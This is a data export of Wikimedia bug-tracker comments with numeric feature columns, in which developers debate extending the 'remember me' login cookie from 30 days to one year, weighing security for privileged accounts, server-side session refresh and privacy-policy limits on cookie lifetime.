QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

There was something on some private wikis that is based on activity, although so far I haven't been able to find out who set it up or how.

But doing an automatic extension once a day seems like a much better solution, and as you point out, not that difficult."
301787,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","(In reply to Krinkle from comment #17)
> This [proposal] covers the use case proposed in this bug:
> 
>  New users will not have to log in again after 30 days
>  (especially if they forgot their password and didn't
>  provide an e-mail address)
> 
> Whilst having two additional advantages:
> 
> * We don't accept dormant sessions over a year old to be used to
> authenticate the user.
> * We do distinguish between used and unused sessions.
> * We provide even more convenience to users (""never"" have to log in again,
> not even once a year).
>

And, important for the legal/privacy angle:

* We keep our cooky expiration dates under 31 days. We will not set cookies for a year.",,,1403047375,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,True,,,-55,True,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,27.0,0.0,1.0,3.0,0.0,0.0,0.0,1.0,1.0,0.0,3.0,0.0,4.0,9.0,19.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.257142857142857,0.5714285714285714,"(In reply to Krinkle from comment #17)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

And, important for the legal/privacy angle:

* We keep our cooky expiration dates under 31 days. We will not set cookies for a year."
301782,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","Right, we only set the cookie at log in time and it expires after 30 days regardless of whether the user actively uses their account (at which point they'd randomly find themselves logged-out after 30 days, not in a middle of a browser session due to the session cookie, but the next time they re-open the browser).

I believed we had this already (I don't recall having to authenticate anywhere in the last few months for Wikimedia wikis, so either something else is extending it or I just forgot I had to do it once).

Same for Google, Facebook, etc., for those I'm quite certain it is being extended automatically.

Sending the session cookies back to the browser on every request is not that expensive, but I can imagine that not being very attractive. Ideally we'd programmatically find out when the login session expires, and refresh it one a day or so. Unfortunately, the expiration property of a cookie can only be set, not read.

The solution I used to use for my Toolserver is to store the expiration date given to the browser for the session id on on the server in the actual session data. Then whenever a request comes in and the cookie is more than e.g. 24h old, refresh it once.

This covers the use case proposed in this bug:

 New users will not have to log in again after 30 days
 (especially if they forgot their password and didn't
 provide an e-mail address)

Whilst having two additional advantages:

* We don't accept dormant sessions over a year old to be used to authenticate the user.
* We do distinguish between used and unused sessions.
* We provide even more convenience to users (never[1] have to log in again, not even once a year).


[1] never, that is, as much as we can help it. We may invalidate sessions for security reasons or when performing data centre maintenance. And browsers may garbage collect cookies at some point.",,,1403047220,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,True,,,-55,True,1.0,0.25,0.25,1.0,2.25,4.0,0.75,0.0,0.0,0.25,2.75,1.5,0.0,0.5,0.0,4.25,0.25,11.5,12.75,0.25,2.0,0.0,0.25,0.0,2.0,0.25,0.25,0.0,1.25,0.75,0.0,4.5,2.25,1.75,0.0,0.0,0.0,0.0,0.0,0.75,0.0,1.5,1.25,3.25,0.0,0.25,0.0,0.0,0.25,14.0,0.25,1.25,0.0,1.0,0.0,0.5,0.0,0.0,0.75,0.0,0.5,1.5,0.0,0.75,0.0,0.0,0.0,6.75,2.25,6.5,2.0,3.0,8.5,0.0,0.0,0.0,0.0,6.0,0.25,1.5,0.0,7.25,12.75,1.25,0.0,0.0,0.0,7.25,0.0,1.0,2.0,0.25,1.25,0.5,0.0,0.75,3.855,0.7350000000000001,"Right, we only set the cookie at log in time and it expires after 30 days regardless of whether the user actively uses their account (at which point they'd randomly find themselves logged-out after 30 days, not in a middle of a browser session due to the session cookie, but the next time they re-open the browser).

I believed we had this already (I don't recall having to authenticate anywhere in the last few months for Wikimedia wikis, so either something else is extending it or I just forgot I had to do it once).

Same for Google, Facebook, etc., for those I'm quite certain it is being extended automatically.

Sending the session cookies back to the browser on every request is not that expensive, but I can imagine that not being very attractive. Ideally we'd programmatically find out when the login session expires, and refresh it one a day or so. Unfortunately, the expiration property of a cookie can only be set, not read.

The solution I used to use for my Toolserver is to store the expiration date given to the browser for the session id on on the server in the actual session data. Then whenever a request comes in and the cookie is more than e.g. 24h old, refresh it once.

This covers the use case proposed in this bug:

 New users will not have to log in again after 30 days
 (especially if they forgot their password and didn't
 provide an e-mail address)

Whilst having two additional advantages:

* We don't accept dormant sessions over a year old to be used to authenticate the user.
* We do distinguish between used and unused sessions.
* We provide even more convenience to users (never[1] have to log in again, not even once a year).


[1] never, that is, as much as we can help it. We may invalidate sessions for security reasons or when performing data centre maintenance. And browsers may garbage collect cookies at some point."
301775,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","(In reply to Krinkle from comment #15)
> Allowing existing sessions to be picked up again after more than a month of
> not using the site doesn't seem very valuable. If anything it sounds a
> little dodgy from a security perspective (e.g. stolen sessions, or computer
> theft).

There's also a benefit if the user (think of new users especially) forgets their password, especially since we don't require an email.

It's common for there to be a tension between security and convenience.

> I'm not opposing it entirely on any of those grounds, just want to verify
> here:
> 
> 1) Is it true that sessions are automatically extended with each visit and
> that therefore, with 30 days expiration, the session will last forever if
> you visit once every 30 days?

I don't believe so:

git grep -F -- '->setCookies'

Only specific login pages (Special:UserLogin and API login) and Special:ChangePassword seem to call that.  I don't think there's anything that extends the expiration time when you're just browsing around.

> 2) Is the only use case that would justify this change so that users who
> aren't very active don't have to log in again if they've been inactive for
> over a month?

I think it's just 30 days from login, regardless of what you do in between.",,,1403046371,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,True,,,-55,True,0.0,0.5,0.0,0.0,1.5,1.5,0.5,0.0,0.0,0.5,1.0,3.5,0.0,0.5,1.5,2.5,0.0,7.0,8.5,0.5,1.0,0.0,0.5,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,7.5,3.0,1.0,1.0,1.5,0.5,0.0,1.5,0.5,0.0,0.5,0.0,2.0,0.0,0.0,0.0,0.0,0.0,13.0,1.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,0.5,2.5,0.0,1.5,0.5,0.0,0.0,2.5,0.5,14.5,1.5,2.0,3.5,0.0,0.0,0.0,0.5,3.5,0.0,1.0,0.0,5.0,8.5,7.5,0.0,1.5,0.0,5.0,0.0,2.0,1.5,0.0,0.5,0.0,0.0,0.0,3.685897435897436,0.6730769230769231,"(In reply to Krinkle from comment #15)
QUOTE
QUOTE
QUOTE
QUOTE

There's also a benefit if the user (think of new users especially) forgets their password, especially since we don't require an email.

It's common for there to be a tension between security and convenience.

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I don't believe so:

git grep -F -- '->setCookies'

Only specific login pages (Special:UserLogin and API login) and Special:ChangePassword seem to call that.  I don't think there's anything that extends the expiration time when you're just browsing around.

QUOTE
QUOTE
QUOTE

I think it's just 30 days from login, regardless of what you do in between."
301770,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","I'm not entirely sure, but the login cookie expiration is only relevant in relation to how long a user is *not* active, not how long or how often they *are* active.

Meaning, if you visit the site at least once or twice a month, your session will never expire because it's extended with every visit.

Allowing existing sessions to be picked up again after more than a month of not using the site doesn't seem very valuable. If anything it sounds a little dodgy from a security perspective (e.g. stolen sessions, or computer theft).

I'm not opposing it entirely on any of those grounds, just want to verify here:

1) Is it true that sessions are automatically extended with each visit and that therefore, with 30 days expiration, the session will last forever if you visit once every 30 days?

2) Is the only use case that would justify this change so that users who aren't very active don't have to log in again if they've been inactive for over a month?",,,1403045049,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,True,,,-55,True,1.6666666666666667,0.3333333333333333,1.3333333333333333,0.6666666666666666,3.0,5.333333333333333,1.3333333333333333,0.3333333333333333,0.0,1.6666666666666667,1.6666666666666667,2.3333333333333335,0.0,0.6666666666666666,0.0,0.6666666666666666,0.0,10.666666666666666,11.0,0.3333333333333333,1.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,1.3333333333333333,0.0,7.0,0.3333333333333333,1.3333333333333333,0.0,1.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.6666666666666666,1.6666666666666667,3.3333333333333335,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,8.666666666666666,0.0,1.6666666666666667,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,2.0,0.0,0.0,0.0,1.0,0.0,4.0,3.6666666666666665,2.3333333333333335,5.0,1.6666666666666667,7.0,0.0,0.0,0.0,0.0,3.3333333333333335,0.0,1.0,0.0,4.0,11.0,0.0,1.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,1.3333333333333333,0.3333333333333333,0.3333333333333333,0.6666666666666666,3.8115942028985508,0.78743961352657,"I'm not entirely sure, but the login cookie expiration is only relevant in relation to how long a user is *not* active, not how long or how often they *are* active.

Meaning, if you visit the site at least once or twice a month, your session will never expire because it's extended with every visit.

Allowing existing sessions to be picked up again after more than a month of not using the site doesn't seem very valuable. If anything it sounds a little dodgy from a security perspective (e.g. stolen sessions, or computer theft).

I'm not opposing it entirely on any of those grounds, just want to verify here:

1) Is it true that sessions are automatically extended with each visit and that therefore, with 30 days expiration, the session will last forever if you visit once every 30 days?

2) Is the only use case that would justify this change so that users who aren't very active don't have to log in again if they've been inactive for over a month?"
301769,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","**swalling** wrote:

(In reply to Matthew Flaschen from comment #12)
> I don't know that we want to keep using wgCookieExpiration for this, though.
> That would make the default (on WMF wikis) for all cookies a year, which
> would probably encourage proliferation of little cookies that are not as
> important as whether you're logged in (E.g. this cookie indicates you have
> the third sidebar of the page toggled; too bad we removed that feature X
> months ago).  This also has performance implications, since cookies use
> bandwidth on every request.
> 
> It's not a big deal to make a separate variable for this, I think.

+1. Fully in support of making a login-specific setting for this.",,,1403043200,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,False,,,-55,True,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,13.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,25.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,11.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.2264150943396226,0.6037735849056604,"**swalling** wrote:

(In reply to Matthew Flaschen from comment #12)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

+1. Fully in support of making a login-specific setting for this."
301766,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","""All cookies"" meaning unless they specify an explicit expiration directly.",,,1403043137,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,True,,,-55,True,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,8.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,15.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,5.0,0.9230769230769231,"""All cookies"" meaning unless they specify an explicit expiration directly."
301763,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","I don't know that we want to keep using wgCookieExpiration for this, though.  That would make the default (on WMF wikis) for all cookies a year, which would probably encourage proliferation of little cookies that are not as important as whether you're logged in (E.g. this cookie indicates you have the third sidebar of the page toggled; too bad we removed that feature X months ago).  This also has performance implications, since cookies use bandwidth on every request.

It's not a big deal to make a separate variable for this, I think.",,,1403043052,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,True,,,-55,True,1.5,0.0,0.0,0.0,2.0,4.5,0.0,0.0,0.5,0.0,2.0,1.0,0.0,0.0,0.0,3.0,0.0,7.0,9.0,0.0,1.5,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,7.5,2.5,1.0,0.0,1.5,0.0,0.5,0.5,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.5,0.5,11.5,2.0,2.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.5,0.0,4.5,0.5,5.5,2.0,0.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,9.0,1.5,0.0,0.0,0.0,5.0,0.0,1.0,2.5,0.0,0.5,0.0,0.0,0.0,4.043993506493506,0.8831168831168831,"I don't know that we want to keep using wgCookieExpiration for this, though.  That would make the default (on WMF wikis) for all cookies a year, which would probably encourage proliferation of little cookies that are not as important as whether you're logged in (E.g. this cookie indicates you have the third sidebar of the page toggled; too bad we removed that feature X months ago).  This also has performance implications, since cookies use bandwidth on every request.

It's not a big deal to make a separate variable for this, I think."
301761,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","**swalling** wrote:

(In reply to Quiddity from comment #10)
> Semi-related, there's also bug 47694 ('""Remember me"" on Login interface
> should state duration')

FYI: The patch associated with that bug request (https://gerrit.wikimedia.org/r/#/c/110279/) states: ""If $wgCookieExpiration is smaller than its default value of 180 days, the length of time the user will stay logged in will now be displayed next to the ""Keep me logged in"" checkbox on the login form.""

This means that it would show nothing if cookie expiration is one year.",,,1403039399,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,False,,,-55,True,0.0,0.0,0.0,1.0,0.0,2.0,1.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,15.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,4.0,2.0,2.0,4.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,3.0,0.0,1.0,0.0,0.0,1.0,20.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,11.0,3.0,0.0,7.0,0.0,0.0,0.0,1.0,4.0,0.0,3.0,0.0,3.0,15.0,3.0,0.0,4.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,3.6210526315789475,0.7473684210526316,"**swalling** wrote:

(In reply to Quiddity from comment #10)
QUOTE
QUOTE

FYI: The patch associated with that bug request (URL states: ""If $wgCookieExpiration is smaller than its default value of 180 days, the length of time the user will stay logged in will now be displayed next to the ""Keep me logged in"" checkbox on the login form.""

This means that it would show nothing if cookie expiration is one year."
301757,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","(In reply to Jared Zimmerman (WMF) from comment #9)
> is there a related bug to remove this from the login form or the prefs page?
> its weird to have it in both places, and most users assume a ""remember me""
> type behavior anyway.

It isn't in the prefs page anymore.  Removed via bug 52342 in April/May.

Semi-related, there's also bug 47694 ('""Remember me"" on Login interface should state duration')",,,1403038209,,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,False,,,-55,True,0.0,0.0,0.0,0.0,2.0,3.0,2.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,2.0,2.0,0.0,5.0,11.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,22.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,3.0,0.0,5.0,0.0,3.0,11.0,12.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.25,0.78125,"(In reply to Jared Zimmerman (WMF) from comment #9)
QUOTE
QUOTE
QUOTE

It isn't in the prefs page anymore.  Removed via bug 52342 in April/May.

Semi-related, there's also bug 47694 ('""Remember me"" on Login interface should state duration')"
301753,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","is there a related bug to remove this from the login form or the prefs page? its weird to have it in both places, and most users assume a ""remember me"" type behavior anyway.",,,1403035455,,PHID-USER-z3kqk2bjnqneldcznht6,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,False,,,-55,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,5.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,10.0,0.0,3.0,5.0,0.0,8.0,0.0,0.0,5.0,3.0,0.0,0.0,3.0,0.0,3.58974358974359,0.8974358974358975,"is there a related bug to remove this from the login form or the prefs page? its weird to have it in both places, and most users assume a ""remember me"" type behavior anyway."
301748,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","**swalling** wrote:

(In reply to Chris Steipp from comment #7)
> (In reply to James Forrester from comment #5)
> > (In reply to Chris Steipp from comment #4)
> > > My initial reaction is that for privileged accounts, 1 year sounds
> > > excessive. But for normal accounts, this should be fine.
> > > 
> > > When we're able to implement password length and https requirements per use
> > > group, we may also customize this.
> > 
> > Does this mean you're OK with going with this change for all accounts for
> > now, with the intent to reduce it back down for privileged accounts later,
> > or do you want us to hold off until that functionality is created (and if
> > so, when will that happen and who will do it)?
> 
> Yes, I'm ok with it for now. Steven makes a good point on the usability.
> We'll discuss more whenever I get the chance to work on it.

Thanks for the quick replies and flexibility Chris. 

Assigned this to Sam Smith, since we have the bandwidth to pick this up as part of our current sprint.",,,1403034498,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,False,,,-55,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,12.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,28.0,1.0,1.0,5.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,2.0,12.0,23.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3658536585365852,0.524390243902439,"**swalling** wrote:

(In reply to Chris Steipp from comment #7)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Thanks for the quick replies and flexibility Chris. 

Assigned this to Sam Smith, since we have the bandwidth to pick this up as part of our current sprint."
301743,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","(In reply to James Forrester from comment #5)
> (In reply to Chris Steipp from comment #4)
> > My initial reaction is that for privileged accounts, 1 year sounds
> > excessive. But for normal accounts, this should be fine.
> > 
> > When we're able to implement password length and https requirements per use
> > group, we may also customize this.
> 
> Does this mean you're OK with going with this change for all accounts for
> now, with the intent to reduce it back down for privileged accounts later,
> or do you want us to hold off until that functionality is created (and if
> so, when will that happen and who will do it)?

Yes, I'm ok with it for now. Steven makes a good point on the usability. We'll discuss more whenever I get the chance to work on it.",,,1403034157,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,True,,,-55,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,4.0,0.0,4.0,12.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,28.0,1.0,0.0,4.0,0.0,0.0,0.0,1.0,3.0,1.0,1.0,0.0,7.0,12.0,18.0,0.0,0.0,0.0,7.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,3.1641791044776117,0.5970149253731343,"(In reply to James Forrester from comment #5)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Yes, I'm ok with it for now. Steven makes a good point on the usability. We'll discuss more whenever I get the chance to work on it."
301735,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","**swalling** wrote:

(In reply to Chris Steipp from comment #4)
> My initial reaction is that for privileged accounts, 1 year sounds
> excessive. But for normal accounts, this should be fine.
> 
> When we're able to implement password length and https requirements per use
> group, we may also customize this.

Privileged users will definitely want this feature just as much as those without special permissions. Maybe even more, since they tend to be active more often. 

If we think privileged accounts need extra session security then we should enforce that through other means I think, like increased minimum password lengths/complexity, force use of HTTPS, and so on. 

From a design standpoint, changing the expected behavior (either the length of the cookie expiration or the visibility of the checkbox) depending on the user's permissions is awkward. It seems pretty likely to confuse or annoy users to have logins behave differently depending on account type/permissions.",,,1403029567,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,False,,,-55,True,0.5,0.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,0.5,1.5,0.0,0.0,0.0,0.0,1.5,0.0,6.5,11.5,0.0,2.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,3.5,2.5,0.5,1.5,0.0,0.5,0.0,0.5,0.0,0.0,0.5,0.0,5.5,0.0,0.5,0.0,0.0,0.0,13.5,0.0,1.5,0.0,1.5,0.5,0.0,0.0,0.0,0.5,0.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,4.5,1.0,8.0,1.5,2.5,5.5,0.0,0.0,0.0,0.5,4.0,0.0,0.5,0.0,3.0,11.5,4.0,0.0,0.0,0.0,3.0,0.0,0.0,0.5,0.0,2.0,1.0,0.0,0.0,4.302631578947368,0.756578947368421,"**swalling** wrote:

(In reply to Chris Steipp from comment #4)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Privileged users will definitely want this feature just as much as those without special permissions. Maybe even more, since they tend to be active more often. 

If we think privileged accounts need extra session security then we should enforce that through other means I think, like increased minimum password lengths/complexity, force use of HTTPS, and so on. 

From a design standpoint, changing the expected behavior (either the length of the cookie expiration or the visibility of the checkbox) depending on the user's permissions is awkward. It seems pretty likely to confuse or annoy users to have logins behave differently depending on account type/permissions."
301726,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","(In reply to Chris Steipp from comment #4)
> My initial reaction is that for privileged accounts, 1 year sounds
> excessive. But for normal accounts, this should be fine.
> 
> When we're able to implement password length and https requirements per use
> group, we may also customize this.

Does this mean you're OK with going with this change for all accounts for now, with the intent to reduce it back down for privileged accounts later, or do you want us to hold off until that functionality is created (and if so, when will that happen and who will do it)?",,,1403028458,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,True,,,-55,True,1.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,6.0,19.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,12.0,2.0,4.0,7.0,0.0,0.0,0.0,1.0,7.0,0.0,1.0,0.0,6.0,19.0,7.0,1.0,0.0,0.0,6.0,0.0,2.0,0.0,1.0,1.0,0.0,0.0,0.0,3.5185185185185186,0.6790123456790124,"(In reply to Chris Steipp from comment #4)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Does this mean you're OK with going with this change for all accounts for now, with the intent to reduce it back down for privileged accounts later, or do you want us to hold off until that functionality is created (and if so, when will that happen and who will do it)?"
301720,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","My initial reaction is that for privileged accounts, 1 year sounds excessive. But for normal accounts, this should be fine.

When we're able to implement password length and https requirements per use group, we may also customize this.",,,1403027649,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,True,,,-55,True,0.0,0.0,0.0,0.0,0.0,13.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,0.0,4.0,11.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,17.0,4.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.326086956521739,0.8260869565217391,"My initial reaction is that for privileged accounts, 1 year sounds excessive. But for normal accounts, this should be fine.

When we're able to implement password length and https requirements per use group, we may also customize this."
301717,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","(In reply to Steven Walling from comment #2)
> (In reply to James Forrester from comment #1)
> > Is this cleared by legal and security? Also, note that
> > https://meta.wikimedia.org/wiki/Privacy_policy/FAQ#cookieFAQ will need to be
> > updated.

(In reply to James Forrester from comment #1)
> Is this cleared by legal and security? Also, note that
> https://meta.wikimedia.org/wiki/Privacy_policy/FAQ#cookieFAQ will need to be
> updated.

